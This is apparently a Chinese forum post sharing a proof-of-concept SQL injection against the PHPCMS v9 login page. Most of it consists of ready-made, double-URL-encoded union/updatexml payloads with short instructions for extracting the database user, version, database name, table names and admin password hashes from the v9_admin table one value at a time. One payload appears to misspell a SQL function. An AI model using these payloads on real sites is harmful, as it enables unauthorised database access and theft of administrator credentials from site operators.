phpcms v9 0day POC笔记

admin

感谢Vampire 和m7xss 两位基友  么么哒~~

首先感谢@唐三 大哥的POC 和分析  http://www.tang3.org/blog/2015/07/21/PHPCMS%E7%94%A8%E6%88%B7%E7%99%BB%E9%99%86SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
论坛备份地址：https://www.chinabaiker.com/thread-2120-1-1.html


然后我们构造下 爆出库、表、帐号密码

在登陆处修改username和password即可 其他不要动

1. 
   
2. username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
   

复制代码

版本

1. username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bversion())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
   

复制代码

库

1. 
   
2. username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bdatabases())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523

复制代码

爆出表

1. 
   
2. updatexml(1,concat(0x5e24,(select table_name from information_schema.tables where table_schema='phpcms' limit 0,1),0x5e24),1)
   

复制代码

只要url编码一下 替换一下就ok了
在 updatexml里必须只能有三个值

所以爆帐号密码要一个一个爆

如

1. updatexml(1,concat(0x5e24,(select password from v9_admin limit 0,1),0x5e24),1)

复制代码

这个是两次url编码吧